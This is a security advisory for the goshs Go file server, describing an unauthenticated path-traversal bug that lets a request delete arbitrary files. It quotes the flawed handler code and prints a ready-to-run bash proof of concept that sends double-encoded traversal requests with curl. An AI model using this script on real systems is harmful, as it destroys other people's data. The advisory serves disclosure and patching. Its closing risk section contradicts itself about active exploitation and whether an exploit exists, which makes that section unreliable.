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GHSA-6qcc-6q27-whp8

CriticalCVSS 9.8 / 10
Published Apr 3, 2026·Last modified Apr 7, 2026
Affected Components(0)

No affected components available

Description

Summary

  • deleteFile() missing return after path traversal check | httpserver/handler.go:645-671

The finding affects the default configuration, no flags or authentication required.

Details

File: httpserver/handler.go:645-671 Trigger: GET /<path>?delete (handler.go:157-160 dispatches to deleteFile)

The function detects .. in the decoded path but does not return.

func (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) {
    upath := filepath.FromSlash(filepath.Clean("/" + strings.Trim(req.URL.Path, "/")))

    fileCleaned, _ := url.QueryUnescape(upath)
    if strings.Contains(fileCleaned, "..") {
        w.WriteHeader(500)
        _, err := w.Write([]byte("Cannot delete file"))
        if err != nil {
            logger.Errorf("error writing answer to client: %+v", err)
        }
        // BUG: no return, falls through to os.RemoveAll
    }

    deletePath := filepath.Join(fs.Webroot, fileCleaned)
    err := os.RemoveAll(deletePath)  // always executes

Root causes: Missing return after the guard makes the check dead code

Impact: Unauthenticated arbitrary file/directory deletion.

PoCs:

#!/usr/bin/env bash
# Delete an arbitrary file/directory on a running goshs instance.
# Usage: ./arbitrary_delete.sh <host> <port> <absolute-path-to-delete>

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
PORT="${2:?Usage: $0 <host> <port> <absolute-path-to-delete>}"
TARGET="${3:?Usage: $0 <host> <port> <absolute-path-to-delete>}"

# Double-encode ".." => %252e%252e
# We don't know the webroot depth, so use 16 levels (covers most paths).
TRAVERSAL=""
for _ in $(seq 1 16); do
    TRAVERSAL="${TRAVERSAL}%252e%252e/"
done

# Strip leading / from target and URL-encode any special chars
TARGET_REL="${TARGET#/}"
ENCODED_TARGET=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$TARGET_REL', safe='/'))")

URL="http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete"

echo "[*] Target:  ${TARGET}"
echo "[*] Request: GET ${URL}"
echo ""

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "$URL")

echo "[*] HTTP ${HTTP_CODE}"

To execute it: ./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary


Recommendations

Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.

Risk Scores
Base Score
9.8

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
9.0

Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.

EPSS
0.68%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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